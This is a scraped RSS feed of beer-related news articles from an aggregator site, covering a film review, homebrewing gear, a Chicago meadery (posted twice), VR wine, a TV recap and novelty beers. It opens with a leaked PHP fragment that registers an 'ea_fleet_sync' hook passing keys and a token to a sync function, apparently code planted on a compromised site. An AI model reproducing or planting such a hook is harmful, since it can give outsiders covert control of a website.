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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); beer – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Sep 2022 03:16:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png beer – Brief News https://briefnews.eu 32 32 Zac Efron goes to Vietnam in the shallow comedy The Greatest Beer Run Ever https://briefnews.eu/zac-efron-goes-to-vietnam-in-the-shallow-comedy-the-greatest-beer-run-ever/ https://briefnews.eu/zac-efron-goes-to-vietnam-in-the-shallow-comedy-the-greatest-beer-run-ever/#respond Thu, 15 Sep 2022 03:16:59 +0000 https://briefnews.eu/zac-efron-goes-to-vietnam-in-the-shallow-comedy-the-greatest-beer-run-ever/ It was wishful thinking to imagine that Peter Farrelly would go back to making dick and fart jokes with his brother, Bobby, after winning Best Picture for Green Book, whose road to Academy glory began here in Toronto four years ago. How are you gonna keep him on the flatulence farm when he’s seen the bright lights of the Kodak Theatre? Following the rosy can’t-we-call-get-along biopic race relations of his previous film and their unfortunate Oscar-night victory, the guy who once gave Cameron Diaz a spunky new hairdo, has officially traded lowbrow comedy for middlebrow dramedy. There’s gold (statuettes) in them hills.

To be fair, Farrelly has always been a sap, as secretly interested in warming hearts as he is in triggering gag reflexes. Look beyond the scatological set pieces that made them popular, and you can see a touch of Frank Capra in many of Peter and Bobby’s sweet misfit yuk- and yuck-fests. Lately, the writer-director has simply been reversing the ratio of Goofus to Gallant. His latest film, The Greatest Beer Run Ever, which premiered last night at TIFF, reverses it further in Gallant’s favor. This is another true story of broadening horizons during the 1960s that feels like it could have been conceived for the screen sometime in the 1980s. And it’s further proof that Farrelly did better, more charming work when he ballasted his soft side with raunch.

Zac Efron can see that war is hell in The Greatest Beer Run Ever.

Going prestige-picture straight has not, thankfully, killed his endearing love of knuckleheads. Here, as in Green Book, there is the anchoring presence of an amiable New Yawk lunk: John “Chickie” Donohue (Zac Efron), a hard-drinking Brooklyn dude with a not-particularly-enlightened perspective on the war in Vietnam. One night in his local watering hole (tended by Farrelly’s old Kingpin secret weapon, Bill Murray), he hatches a foolhardy scheme: He’ll bring a beer to each of his four buddies still stationed in Vietnam, as a thank you for their service. No one, not even Chickie himself, expects him to actually go through with this cockamamie plan. But soon enough, he’s on a cargo ship headed for the war, duffel bag of PBR over his shoulder.

Having just won Best Picture with a movie about an Italian American from midcentury New York, is Farrelly following further in the footsteps of Francis Ford Coppola? Co-written by Brian Currie and Pete Jones, adapting the memoir of the same name, The Greatest Beer Run Ever becomes something akin to, well, his version of Apocalypse Now. (No, really.) Chickie, a well-intentioned fool, bumbles into a war zone like a frat boy taking a late-night bet too far. He ends up crisscrossing in and out of danger, delivering brews to old friends who receive him less with open arms than are-you-actually-insane admonishments. It’s to the movie’s credit that being amused by Chickie’s ambitiously stupid journey of patriotic gratitude doesn’t preclude recognizing what a blinkered idiot he is for embarking upon it. He’s a “war tourist” getting in over his head for the story.

Beer Run might have worked a little better as satire, with a version of Chickie too thick-skulled to ever acknowledge what a bad idea this little bring-the-party-to-them pilgrimage was. Instead, a fish out of water comedy becomes a tale of innocence lost, as our hero starts to wake up to the reality of the war that the cameras don’t capture and the sense in his protesting younger sister’s claims that LBJ is lying to the public. Without articulating it quite so directly, the film becomes about Chickie realizing that there’s no discrepancy between supporting the troops and opposing the war — an awakening plenty of actual Americans went through during the long death march of Vietnam. In practice, though, that’s akin to Futurama’s savvy spoof of M*A*S*H*, with Farrelly toggling the switch from “irreverent” to “maudlin” and just keeping it there.

There are poignant moments here, many of them courtesy of Russell Crowe as a war photographer who finds some begrudged respect for Chickie’s self-imposed mission. But while the film isn’t quite as risible as Green Book (it’s not a glorified white savior story in buddy-comedy drag, in other words), it has an awfully similar arc: A myopic doofus has his eyes opened by the hardships of others, gaining edification through the suffering he witnesses (in this case, on a countrywide scale). In other words, all the horrors of Vietnam — not avoided or sanitized, exactly, but certainly selectively encountered — are just the catalyst for a screw-up to grow up and gain a more nuanced perspective on the world. Perhaps you could call The Greatest Beer Run Ever Farrelly’s attempt to do the same. If so, it makes an inadvertent case for immaturity in the process.

Our coverage of the Toronto International Film Festival continues all week. For more of A.A. Dowd’s writing, please visit his Authory page.

]]> https://briefnews.eu/zac-efron-goes-to-vietnam-in-the-shallow-comedy-the-greatest-beer-run-ever/feed/ 0 LG’s automated craft beer system could make homebrewing much easier https://briefnews.eu/lgs-automated-craft-beer-system-could-make-homebrewing-much-easier/ https://briefnews.eu/lgs-automated-craft-beer-system-could-make-homebrewing-much-easier/#respond Tue, 11 Dec 2018 14:58:16 +0000 http://briefnews.eu/lgs-automated-craft-beer-system-could-make-homebrewing-much-easier/

Given the phenomenal popularity of craft beers and ales sweeping bars across the globe, it’s surprising that homebrewing hasn’t yet taken off to the same levels. Sure, we’ve seen a number of systems touting the trend — Picobrew and Brewie are two that have done well on Kickstarter — but it’s yet to really go mainstream. But this could be set to change now that LG is getting in on things.

The company is set to debut its HomeBrew system at CES 2019. It’s a capsule-based beer-making machine that relies on automation and fermentation algorithms, and is completely self-cleaning, so it’s a seriously fuss-free way of brewing your own beer. Depending on the beer type (there are five: American IPA, American Pale Ale, English Stout, Witbier and Czech Pilsner), the system can produce up to five liters of beer in about two weeks — you can check on its status at any time using the companion app for iOS and Android.

For some, the joy of homebrewing comes with the sense of alchemy involved: mixing hops and grain, experimenting with temperatures and methodically going through trial and error until you come up with the perfect beer. For others, all of that seems too complicated and time-consuming, and it’s just easier to pick up a six-pack at the local store. LG’s ultra-simple, no-fuss HomeBrew could be the gateway for brew-it-yourself newcomers, though, and could well be the kit that takes the process mainstream.

Source: CES 2019

]]> https://briefnews.eu/lgs-automated-craft-beer-system-could-make-homebrewing-much-easier/feed/ 0 The Amped-Up Ancient Booze Crashing Chicago's Craft Beer Party https://briefnews.eu/the-amped-up-ancient-booze-crashing-chicagos-craft-beer-party/ https://briefnews.eu/the-amped-up-ancient-booze-crashing-chicagos-craft-beer-party/#respond Sat, 03 Nov 2018 07:34:59 +0000 http://briefnews.eu/the-amped-up-ancient-booze-crashing-chicagos-craft-beer-party/ Chicago is a beer town, and perhaps no part of the city slugs suds like the southwest side. Seven nights a week, crowds flock to a three-mile strip of Western Avenue in the neighborhood of Beverly where restaurants and Irish pubs — emphasis on the pubs — dot every block. There’s beer and Irish whiskey galore, of course. But there’s a new booze on the block appealing to the craft-alcohol set: mead.

Wild Blossom Meadery and Winery is Chicago’s only meadery on the Northern Illinois Wine Trail. And we’re not talking your standard mead. Wild Blossom is taking the ancient honeyed beverage to new places, establishing itself as a Midwest pioneer in sustainability, production and creative flavors — like one spicy version that might just send your eyes somersaulting backward.

The Wolfcraft — a hoppy, sparkling mead with blood orange — pays homage to both beer and champagne.

With roots in ancient Africa, mead may be the oldest alcoholic drink in human history. Hunter-gatherers in the savanna, the story goes, stumbled upon pools of water containing the fermenting remains of fallen, honey-filled beehives. What probably began with the shy taste of a dipped finger sparked a honey wine love affair. Varieties of the drink now appear everywhere from Lithuania and Finland to Mexico, northern China and Ethiopia. Now, an American public with a growing taste for craft beers and spirits is creating a market for craft mead.

Front entrance of Wild Blossom

“With mead, we can manipulate it to reflect any style that we’re looking for,” says Greg Fischer, founder and owner of Wild Blossom. The mildly sour Cran Apple Cyser is an apple-infused mead, and Pirates Blood, a hot chili-infused version, is smoky, fiery and sweet (the appropriate skull-shaped bottle retails for $ 19.95). The Wolfcraft — a hoppy, sparkling mead with blood orange — pays homage to both beer and champagne. Then there’s the Charlatan, a dry blueberry mead aged in red wine barrels, and the bourbon barrel-aged Sweet Desire ($ 35.95, 16 percent ABV) that delivers autumn in a glass. At the winery, with its Finger Lakes-esque backyard patio bordering the shaded corner of the Dan Ryan Woods forest preserve, a six-pour flight will set you back $ 12 to $ 15.

Wild Blossom’s meads are made with purified water from Lake Michigan and honey that hails from a variety of local sources: five hives ranging in location from the roof of the Marriott on the “Magnificent Mile” to Indiana’s Ogden Dunes. Each bottle of the sweet, alcoholic final product leads to 2 million flowers pollinated in the area, says Fischer. In addition to meads, Wild Blossom also produces a range of Chicago-themed wines, like South Side Syrah and Chicago Bulls Blood.

The company opened for business nearly 30 years ago as a winery … in a Prohibition-era dry zone. Fischer relied on the skills he had learned as a boy, helping his Italian immigrant grandfather make wine and mead in the family basement. In 2017, Fischer opened the doors to a full-scale meadery, equipped with a tasting room, a 14,000-square-foot backyard and a production space — this time in a building just outside the dry zone.

The writer's father and brother enjoying a tasting flight.

Still, in beer country, Wild Blossom feels like a hidden gem to those in the know. The new location is helping to change that, as is word of mouth. “People appreciate a local product and our willingness to experiment,” says Fischer. But the new appetite for mead goes to show that it’s not just beer leading the craft craze, at least on Chicago’s South Side.

Go There: Wild Blossom Meadery and Winery

  • Location: 9030 S. Hermitage Ave, Chicago. Map.
  • Hours: Wed-Thurs: 3 p.m. – 9 p.m.; Fri-Sat: 3 p.m. -10 p.m; Sun: 1 p.m. – 8 p.m.
  • Pro tip: Start with a traditional mead, such as the Prairie Passion, to get a taste before progressing to the more creative flavors.

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]]> https://briefnews.eu/the-amped-up-ancient-booze-crashing-chicagos-craft-beer-party/feed/ 0 Amped-Up Ancient Booze Crash Chicago's Craft Beer Party https://briefnews.eu/amped-up-ancient-booze-crash-chicagos-craft-beer-party/ https://briefnews.eu/amped-up-ancient-booze-crash-chicagos-craft-beer-party/#respond Sun, 28 Oct 2018 05:12:11 +0000 http://briefnews.eu/amped-up-ancient-booze-crash-chicagos-craft-beer-party/ Chicago is a beer town, and perhaps no part of the city slugs suds like the southwest side. Seven nights a week, crowds flock to a three-mile strip of Western Avenue in the neighborhood of Beverly where restaurants and Irish pubs — emphasis on the pubs — dot every block. There’s beer and Irish whiskey galore, of course. But there’s a new booze on the block appealing to the craft-alcohol set: mead.

Wild Blossom Meadery and Winery is Chicago’s only meadery on the Northern Illinois Wine Trail. And we’re not talking your standard mead. Wild Blossom is taking the ancient honeyed beverage to new places, establishing itself as a Midwest pioneer in sustainability, production and creative flavors — like one spicy version that might just send your eyes somersaulting backward.

The Wolfcraft — a hoppy, sparkling mead with blood orange — pays homage to both beer and champagne.

With roots in ancient Africa, mead may be the oldest alcoholic drink in human history. Hunter-gatherers in the savanna, the story goes, stumbled upon pools of water containing the fermenting remains of fallen, honey-filled beehives. What probably began with the shy taste of a dipped finger sparked a honey wine love affair. Varieties of the drink now appear everywhere from Lithuania and Finland to Mexico, northern China and Ethiopia. Now, an American public with a growing taste for craft beers and spirits is creating a market for craft mead.

Front entrance of Wild Blossom

“With mead, we can manipulate it to reflect any style that we’re looking for,” says Greg Fischer, founder and owner of Wild Blossom. The mildly sour Cran Apple Cyser is an apple-infused mead, and “With mead, we can manipulate it to reflect any style that we’re looking for,” says Greg Fischer, founder and owner of Wild Blossom. The mildly sour Cran Apple Cyser is an apple-infused mead, and Pirates Blood, a hot chili-infused version, is smoky, fiery and sweet (the appropriate skull-shaped bottle retails for $ 19.95). The Wolfcraft — a hoppy, sparkling mead with blood orange — pays homage to both beer and champagne. Then there’s the Charlatan, a dry blueberry mead aged in red wine barrels, and the bourbon barrel-aged Sweet Desire ($ 35.95, 16 percent ABV) that delivers autumn in a glass. At the winery, with its Finger Lakes–esque backyard patio bordering the shaded corner of the Dan Ryan Woods forest preserve, a six-pour flight will set you back $ 12 to $ 15.

Wild Blossom’s meads are made with purified water from Lake Michigan and honey that hails from a variety of local sources: five hives ranging in location from the roof of the Marriott on the “Magnificent Mile” to Indiana’s Ogden Dunes. Each bottle of the sweet, alcoholic final product leads to 2 million flowers pollinated in the area, says Fischer. In addition to meads, Wild Blossom also produces a range of Chicago-themed wines, like South Side Syrah and Chicago Bulls Blood.

The company opened for business nearly 30 years ago as a winery … in a Prohibition-era dry zone. Fischer relied on the skills he had learned as a boy, helping his Italian immigrant grandfather make wine and mead in the family basement. In 2017, Fischer opened the doors to a full-scale meadery, equipped with a tasting room, a 14,000-square-foot backyard and a production space — this time in a building just outside the dry zone.

The writer's father and brother enjoying a tasting flight.

Still, in beer country, Wild Blossom feels like a hidden gem to those in the know. The new location is helping to change that, as is word of mouth. “People appreciate a local product and our willingness to experiment,” says Fischer. But the new appetite for mead goes to show that it’s not just beer leading the craft craze, at least on Chicago’s South Side.

Go There: Wild Blossom Meadery and Winery

  • Location: 9030 S. Hermitage Ave, Chicago. Map.
  • Hours: Wed-Thurs: 3 p.m. – 9 p.m.; Fri-Sat: 3 p.m. -10 p.m; Sun: 1 p.m. – 8 p.m.
  • Pro tip: Start with a traditional mead, such as the Prairie Passion, to get a taste before progressing to the more creative flavors.

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]]> https://briefnews.eu/amped-up-ancient-booze-crash-chicagos-craft-beer-party/feed/ 0 So Long, Beer Goggles. Hello, VR Wine Goggles https://briefnews.eu/so-long-beer-goggles-hello-vr-wine-goggles/ https://briefnews.eu/so-long-beer-goggles-hello-vr-wine-goggles/#respond Sat, 20 Oct 2018 07:39:42 +0000 http://briefnews.eu/so-long-beer-goggles-hello-vr-wine-goggles/ In early 2018, Ontario wine researcher Debbie Inglis sat down to take a much-needed sip of merlot to celebrate the $ 960,000 grant she’d been awarded to build the augmented and virtual reality consumer research lab at Brock University. With a VR headset on, she raised the glass to her lips. Crack. She tried again. Nope. “The glass would hit the bridge of the goggles,” she says. That just wouldn’t do; to test drinking behavior in different VR scenarios, the goggles needed to be compatible with a regular flute.

This seemingly niche request is increasingly an industry-wide need, as VR and AR drinking experiences surge with the traditionally slow-to-adapt wine world opening its arms to the latest tech. For winemakers, these are exciting tools to broaden their audiences and brands worldwide. And consumers can now savor a fine drink while also experiencing a slice of nature, history or even an apocalyptic future.

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Melbourne-based Treasury Wine Estates launched the 19 Crimes wine brand in 2017; its whole shtick is an AR app that animates the criminals printed on the labels. The app was so popular that it crashed with overuse. It followed that up with the zombie-themed AR Walking Dead wines. And in August 2018, it came out with emBrazen wines. Its AR labels celebrate accomplished women such as Nellie Bly and Josephine Baker.

In September 2017, Argentine wine brand The Owl and the Dust Devil launched AR labels on which you’ll see an owl trying to outpace a tornado, while Paso Robles–based Rabble Wine Company’s soon-to-be-released bottles will feature apocalyptic AR scenes: a comet hitting Florence on its red blend, and Mount Vesuvius erupting on Pompeii on its cabernet sauvignon.

The wine industry is constantly trying to come up with new experiences for consumers.

Liz Thach, professor of wine and management, Sonoma State University

In New Zealand, Brancott Estate Wines created a multisensory vineyard VR experience in 2016. Across the Tasman Sea in Australia, the government in May 2018 invested around $ 500,000 in VR experiences to attract wine tourism from China. The Mensa wine AR app launched in South Africa in August, and a Napa wine symposium earlier this year included a virtual reality keynote.

“The wine industry is constantly trying to come up with new experiences for consumers,” says Liz Thach, professor of wine and management at Sonoma State University. “But usually they’re the last to adopt anything new in terms of technology.”

Advances in AR and VR tend to take two specific pathways, says Thach. AR is all about engaging with bottle labels while VR offers explorations of vineyards from afar. “It’s virtual tourism, so people can walk around a winery before they visit,” she says. “Wine regions like Napa or Sonoma need to keep people coming back, so their experiences get more elaborate.”

Brancott Estate’s sensory experience is a good example of this. Users donned headsets in specially designed rooms, equipped with wind machines and scented sprays, which activated based on their headset activity. It was over-the-top, elaborate and economically effective. “The experience broke traditional wine-tasting conventions,” says Toni Ingram, head of marketing at Pernod Ricard UK, where Brancott is a portfolio company. The payoff was immediate; 1 in 3 sales was for more expensive wines.

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To be fair, it’s not that the wine world doesn’t like technology — just that it tends not to be consumer-facing. “There’s a lot of innovation in wines around the ‘internet of things’ space, with wineries using sensors in the vineyards to do microclimate analysis, etc.,” says Philip van Allen, an interaction design consultant and technologist. But the front end has been slow to catch up. Sure, there have been some interesting wine startups, like the now-defunct Wi-Fi–connected bottle Kuvée and Vinome’s Wine DNA test, but they tend to be outliers. At Napa’s 2018 Direct to Consumer Wine Symposium, van Allen presented a panel on developing new technologies in the wine world. “What’s available is kind of lame so far,” he says.

But he says the industry is receptive — it’s in its best interest. Five years from now, autonomous vehicles could make expensive car parks at vineyards redundant, for instance — but if they embrace technology, they could use autonomous trolleys to transport visitors and their purchases back to their hotels. AR and VR experiences will be key, he adds. One problem to adoption is the wide range in quality of experiences, he says — somewhat inevitable as wines clamber on the buzzword bandwagon.

Today, the majority of wine VR experiences are about immersive vineyard tours. Spain’s Ramón Bilbao winery uses an Oculus Rift to introduce people to wine tasting and horticulture practices, while Australia’s Seppeltsfield winery VR viewer provides panoramic views of its estate. They’re not the most exciting experiences, but they provide real immersion for those with accessibility issues. “Especially for the older consumer who [can] afford the higher-end wines,” Thach points out.

There’s also an educational and social element to some of these experiences. Take Treasury Wine Estates’ emBrazen AR wines, whose launch coincided with the #MeToo era. On one label, an animated version of Cuban-American singer Celia Cruz speaks about how she became the most successful Latin artist of the 20th century. On another, journalist Nellie Bly’s animated avatar talks about her ambitious project to travel the world in 80 days. “Impossible,” her editor told her, she recalls. “No one but a man can do this.” But she took on the challenge. “I told him I could, and I would,” the AR version of Bly says. “And I did, with eight days to spare.”

Back in Ontario, Inglis solved her problem by 3D-printing a slightly angled glass. Now she’s working on decoding what makes the perfect drink. “The enjoyment of wine is more involved than the flavor,” she says. “We’ll manipulate aroma, touch and additional sensory cues to understand consumer choice.” This might mean bye-bye to beer goggles as we know them, and the arrival of a customized, tech-loaded version of that experience: with wine instead of beer.

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]]> https://briefnews.eu/so-long-beer-goggles-hello-vr-wine-goggles/feed/ 0 Fear the Walking Dead Recap: Beer Ye, Beer Ye — Plus, Are We Headed for Another Big Walking Dead Crossover? https://briefnews.eu/fear-the-walking-dead-recap-beer-ye-beer-ye-plus-are-we-headed-for-another-big-walking-dead-crossover/ https://briefnews.eu/fear-the-walking-dead-recap-beer-ye-beer-ye-plus-are-we-headed-for-another-big-walking-dead-crossover/#respond Mon, 24 Sep 2018 08:24:30 +0000 http://briefnews.eu/fear-the-walking-dead-recap-beer-ye-beer-ye-plus-are-we-headed-for-another-big-walking-dead-crossover/ After being bitten in last week’s Fear the Walking Dead, Jim’s fate was sealed. The one thing he could still control, Morgan noted in Sunday’s penultimate Season 4 episode, was how he went out. So did the beermaker’s choice of exit cement Sarah’s opinion that he was “a class-A a–hole… who fills every room with a philosophical fart”? Or did he shuffle off this mortal coil like a hero? Read on and find out.

fear-the-walking-dead-season 4 episode 15 recap jim dies‘NICE KNOWING YA, JIMBO’ | As “I Lose People… ” began, Morgan, June, Sarah, Wendell, Lucy and Jim remained stuck on the roof of the hospital. Morgan was metaphorically stuck, too: He hadn’t a clue how to get his friends out of the fix into which he’d gotten them — a point that Jim bitterly drove home so often that Sarah cracked, “I see that bite really brought out the best in you.” At least the group would soon get a pick-me-up when Alicia and Charlie walkie-talkie’d from “Alligator Lake” that they’d found John and Strand; they just needed a way to retrieve the men. While Alicia and Charlie were off searching for a boat, John, suspecting that he’d used up his allotment of optimism for this lifetime, quickly lost hope that they’d return. Ironically, it was Strand who kept the faith and raised the sharpshooter’s spirits. He was even saving a bottle of wine to crack open in celebration when they finally got across “these fetid waters.” What made him so sure they would? Just look at who was trying to rescue them, he told John. Charlie murdered Alicia’s brother, and “now they’re out there working together. If that doesn’t make you think anything is possible, I don’t know what else will.”

fear-the-walking-dead-season 4 episode 15 recap jim diesBack on the roof, Morgan stopped Jim from jumping to his death. Or so he at first thought. Jim actually had no intention of turning himself into a walker with broken bones, he merely had climbed up on the ledge to piss on the zombies below. After he shot down Morgan’s request for assistance taking the elevator down to look for Al and get out of the hospital, Sarah rattled off a few of Jim’s less admirable qualities — and his one redeeming one: that beer he made. “That,” she said, “is poetry in a bottle.” And, though she suggested that it could live on long after he was gone, he wasn’t about to give her his recipe. (Class-A a–hole indeed!) Meanwhile, near “Alligator Lake,” Alicia and Charlie’s search for a boat was interrupted by Martha, madly shooting off her gun as well as her mouth. Alicia pointed out that, uh, the Filthy Woman was bleeding and offered to help. But in response, the psycho shrieked, “I don’t need any help” — and proved just how little she needed help by collapsing on the spot.

fear-the-walking-dead-season 4 episode 15 recap jim dies‘I WASN’T SURE IF I WAS GONNA TALK TO YOU AGAIN’ | Upon making it to the hospital’s generator room, Morgan, June, Lucy, Sarah and Wendell discovered that Al had taken out a bunch of walkers and left a note instructing them to — of course — make copies of her precious tapes. And “if you find that C word, settle her s—,” Sarah read, adding that Al “didn’t use the C word, she went for the full quesadilla.” As Morgan sent June, Sarah, Wendell and Lucy to the ground floor before the generator was kaput, Alicia, having taken the SWAT van from Martha, drove it across “Alligator Lake” to rescue John and Strand. (So wait — that water was like knee-high this whole time?) As expected, the hospital’s exit was lined with walkers. So Morgan was going to create a distraction from up on the roof by dropping a walker onto an SUV and setting off its alarm. (That was some seriously amazing dead-body aim he had!) Still understandably sulky about his imminent demise, Jim refused to help whatsoever.

fear-the-walking-dead-season 4 episode 15 recap jim diesWhen John wasn’t tying up the walkie-talkie by confessing to June that he’d eaten the Blackjack he’d been saving for her, he learned his girlfriend’s location, and Alicia made a beeline for it. Upon awakening to find herself zip-tied in the SWAT van, Martha was predictably livid. But “I’d say we were pretty cordial,” John suggested, “considering what you did to our friends.” The Filthy Woman had Morgan to thank for that, Alicia added. “He’ll be thanking me,” Martha replied cryptically. “You’ll see.” Back at the hospital, the car alarm attracted enough walkers for June, Sarah, Wendell and Lucy to get out. So now, Morgan should go, June said. He couldn’t, he replied. The elevators no longer worked, and the stairwells were full of walkers. And he was OK with that. “If I know that I got you all outta here, if I got you back on your way to John, maybe that can make up for something.” As June reluctantly left in an ambulance with the other escapees, Jim couldn’t resist poking at Mo-Mo, saying that now he had an easy way out since death is a certainty and “getting out from under the s— you’ve done isn’t.”

‘THIS IS ONE HELL OF A PREDICAMENT’ | Turned out, June & Co. hadn’t really left behind Morgan, even reluctantly. They’d just gone off and found a fire truck to bring back with them. “You told me to help people,” Alicia reminded him. “That’s what I’m doing.” One by one, everybody said something nice to Morgan… except for Martha, whose crazy talk would’ve inspired me to double-tie her. Unfortunately, the fire truck’s ladder was two stories short of the roof. So Morgan had to rappel down one floor, fight off a walker (that John ultimately shot from way down below) and leap onto the ladder to make it onto the roof of the vehicle. In order to clear a path to the SWAT van, Morgan intended to jump and draw away the walkers. Only then did Jim walkie-talkie from the hospital’s roof that he’d take care of it. Before he leapt, though, he passed along to Sarah his beer recipe (including a whispered instruction that we didn’t get to hear). “There’s love in there, too,” he added, “if you can believe it.” Finally, he threw himself onto another car, setting off its alarm and, essentially, saving Morgan & Co.

fear-the-walking-dead-season 4 episode 15 recap jim diesWhen the survivors reentered the SWAT van, they were surprised to find that Martha had vanished. (Another good reason to have double-tied her!) Nonetheless beating a hasty retreat, the group exhaled for a hot second, then decided that Jim’s beer would need a name that means something. Like “Jimbo’s Beerbos,” Sarah suggested. “Man, he would hate that,” Morgan chuckled as if Sarah didn’t already know. So where were they headed? Recalling that when he first met Jim, he’d told him about Virginia, Morgan suggested that they go there. “He’s not gonna make it, but I think that we can,” he said. “So let’s find Al, and then I say we make our way there… together.” Good luck with that. As the hour drew to a close, Martha wrote Jim’s beer recipe on his face right before he reanimated, told him that he was strong now and said, “Let’s go make [Morgan] strong, too.” So, what did you think of Jim’s heroic ending? Are you hoping Fear will really travel to Alexandria for a crossover with The Walking Dead? Hit the comments.

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]]> https://briefnews.eu/fear-the-walking-dead-recap-beer-ye-beer-ye-plus-are-we-headed-for-another-big-walking-dead-crossover/feed/ 0 West Africa Invades the American Beer Conversation https://briefnews.eu/west-africa-invades-the-american-beer-conversation/ https://briefnews.eu/west-africa-invades-the-american-beer-conversation/#respond Mon, 17 Sep 2018 00:11:58 +0000 http://briefnews.eu/west-africa-invades-the-american-beer-conversation/ In 2012, two friends originally from West Africa and now living in Washington, D.C., noticed something about their local beer market: an absence of imported African beers. Seeing this as a challenge, Kofi Meroe and Amado Carsky started home-brewing together, incorporating techniques and the unique flavors they knew growing up.

The result? Sankofa Beer Company, which looks to bring influences from the mother continent to craft beer in the U.S., via a brewing environment that reminds the pair of home. “Whether it be the ingredients or the inspiration, we want to bring West Africa to the beer conversation,” Carsky explains. The company is named after the Sankofa bird, an African symbol that means the future is seen by looking to the past.

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Among its current hoppy offerings, Sankofa’s flagship recipe, HYPEbiscus, is a pale ale brewed with organic dried hibiscus flowers. It has subtle malt notes, a tropical flowery aroma and a dry finish. On the horizon, the pair is looking to launch two new brews: Harmattan Haze wheat beer and Cocoa Coast chocolate milk stout.

The brewers hope Sankofa Beer will be available in bars, restaurants and stores in Washington, D.C., by mid-2018 and distribution to other states and beyond is planned for next year.

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]]> https://briefnews.eu/west-africa-invades-the-american-beer-conversation/feed/ 0 The Last Blockbuster Video Store in the United States is Getting an Official Beer https://briefnews.eu/the-last-blockbuster-video-store-in-the-united-states-is-getting-an-official-beer/ https://briefnews.eu/the-last-blockbuster-video-store-in-the-united-states-is-getting-an-official-beer/#respond Sun, 02 Sep 2018 18:59:12 +0000 http://briefnews.eu/the-last-blockbuster-video-store-in-the-united-states-is-getting-an-official-beer/ The Last Blockbuster Beer

There’s already a documentary being filmed about the last Blockbuster Video store in operation in the United States up in Bend, Oregon. And that’s about to get a little more exciting with the unveiling of an official Blockbuster beer.

The 10 Barrel Brewing company, owned by Anheuser-Busch, is releasing a limited edition Blockbuster inspired beer that will be released at a special block party at the surviving video store. And there are only a handful of places you’ll be able to get it after that. Find out more about the Last Blockbuster beer below.

The Last Blockbuster Beer

The Last Blockbuster beer is called S1nist0r Black Ale. It’s a a schwarzbier that 10 Barrel has brewed before, and it’s described as having nuances of red licorice. Apparently the beer “pairs perfectly with buttery theater popcorn and your favorite movie-sized chocolate with a light body, smooth finish, and hints of nostalgia.”

If you want to get your hands on this beer, the first time it will be available is on September 21 at a block party hosted by the last Blockbuster. Since the store doesn’t have to operate with the confines of the Blockbuster corporate structure (since there is no corporation anymore), they can do whatever they want to. That’s why they’re also having their Facebook followers vote on what movie will be shown at the block party. Right now Strange Brew is in the lead, but Hocus Pocus could catch up.

For those of you who are too far away from the last Blockbuster in Bend, Oregon, you can still seek out the Last Blockbuster beer. 10 Barrel Brewing will be sending it out for a limited time to six of their brewpub locations. Two of them are in Bend, Oregon, one is in Denver, Colorado, another in Portland, Oregon, one in Boise, Idaho, and the last one in San Diego, California. So seek it out while you can, and rent a DVD for old time’s sake if you can.

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  • Heineken’s new brew, from California beer brand Lagunitas, is made with marijuana instead of alcohol.
  • Hi-Fi Hops is currently only available in a select number of dispensaries in California, where cannabis is legal.
  • It’s part of a growing trend of established companies diving into the marijuana industry.

Lagunitas, Heineken’s fast-growing California beer label, bills its new brew as “hoppy sparkling water.”

That’s because these cans of brew contain zero alcohol. Instead of booze, the beer is made with THC, the main psychoactive ingredient in marijuana.

Called Hi-Fi Hops, Lagunitas’ new cannabis drink is the latest wave of a larger move by established companies diving into the marijuana industry. In addition to a brew made with THC, the ingredient in marijuana that causes a high, Lagunitas’ new beer is also available with CBD, the non-psychoactive cannabis component that’s thought to be responsible for many of its therapeutic effects.

Having only launched on July 30, the brew is currently available in a handful of marijuana dispensaries in California, where the drug is legal. So we visited Oakland’s Harborside dispensary, located on the East Bay peninsula between the neighborhoods of Fruitvale and Downtown Oakland, to check out the new $ 8 drink.

On a Friday afternoon, Oakland cannabis dispensary Harborside was packed. After waiting in line for roughly 30 minutes, we got a look at a display case where Hi-Fi Hops was featured beside some other edible cannabis treats.

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At $ 8 a can, the drink wasn’t cheap — but the price point brought it roughly in line with other canned beers. We snagged the last cans that were available. An employee at Harborside said they were selling like hotcakes.

There’s one big drawback compared with other beers: You can’t drink it at a bar.

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The drink is made in special cans that require a little finagling to get right — you pop the tab at the top, then slide to open.

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